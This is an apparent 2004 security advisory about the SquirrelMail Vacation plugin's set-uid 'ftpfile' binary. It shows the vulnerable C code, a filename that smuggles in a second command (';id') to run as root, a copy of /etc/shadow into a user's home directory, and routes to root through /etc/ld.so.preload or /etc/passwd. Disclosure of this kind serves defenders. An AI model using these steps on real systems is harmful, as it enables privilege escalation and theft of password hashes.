

Name: Squirrelmail Vacation plugin
Vendor URL: <http://www.squirrelmail.org/plugins/vacation0.14-1.2rc2.tar.gz>
Author: Karol Więsek <appelast@drumnbass.art.pl>
Date: June 16, 2004

Issue:

Squirrelmail vacation plugin uses local set-uid binary to copy files, which allows local attacker to read or write to any file in system or gain root privileges.

Description:

Squirrelmail vacation plugin allows UNIX users to set an auto-reply message to incoming email. Most commonly used to notify the sender of one's absence. This plugin specifically uses the Vacation program. This version uses a local SUID program to copy the files.

Details:

There exists two different bugs in set-uid binary used to copy files.

1) parsing arguments directly from user to function `my_system()`, which is a wrapper to `execve()`, without any checks

```
if( sprintf(line, BUFSIZE, "/bin/cp %s/%s %s/%s", curdir, argv[SRC], pw->pw_dir, argv[DEST]) >
    BUFSIZE )
    {
        printf("Supplied users homedir path to long.\n");
        exit(1);
    }
i = my_system(line, envp);
```

Local attacker could pass, as a filename, string containing escape character, which allows him to execute his own command. Command will be executed with `uid=0`.

```
[appelast@vl ftpfile]$ ./ftpfile host appelast dupa put /etc/passwd 'dupa;id'
uid=0(root) gid=1000(users) egid=0(root) grupy=1000(users)
```

2) leak of any checks during file copying

ftpfile does not check permissions at all and while it is set-uid root by default, it allows to copy any file to any file.

```
[appelast@vl ftpfile]$ ls -al /etc/shadow
-rw----- 1 root root 520 04-19 05:37 /etc/shadow
[appelast@vl ftpfile]$ ./ftpfile host appelast dupa put /etc/shadow koza
koza[appelast@vl ftpfile]$ /home/users/appelast/koza
-rw----- 1 appelast users 520 06-17 01:35 /home/users/appelast/koza
```

The same situation takes place while copying file to place where attacker has not permission. Creating `/etc/ld.so.preload`, overwriting `/etc/passwd` and other scenarios are possible to gain root privileges.

ftplib could be compiled with **RESTRICTUSE**, thus exploitation is only possible from uid running http server. In default configuration **RESTRICTUSE** is disabled.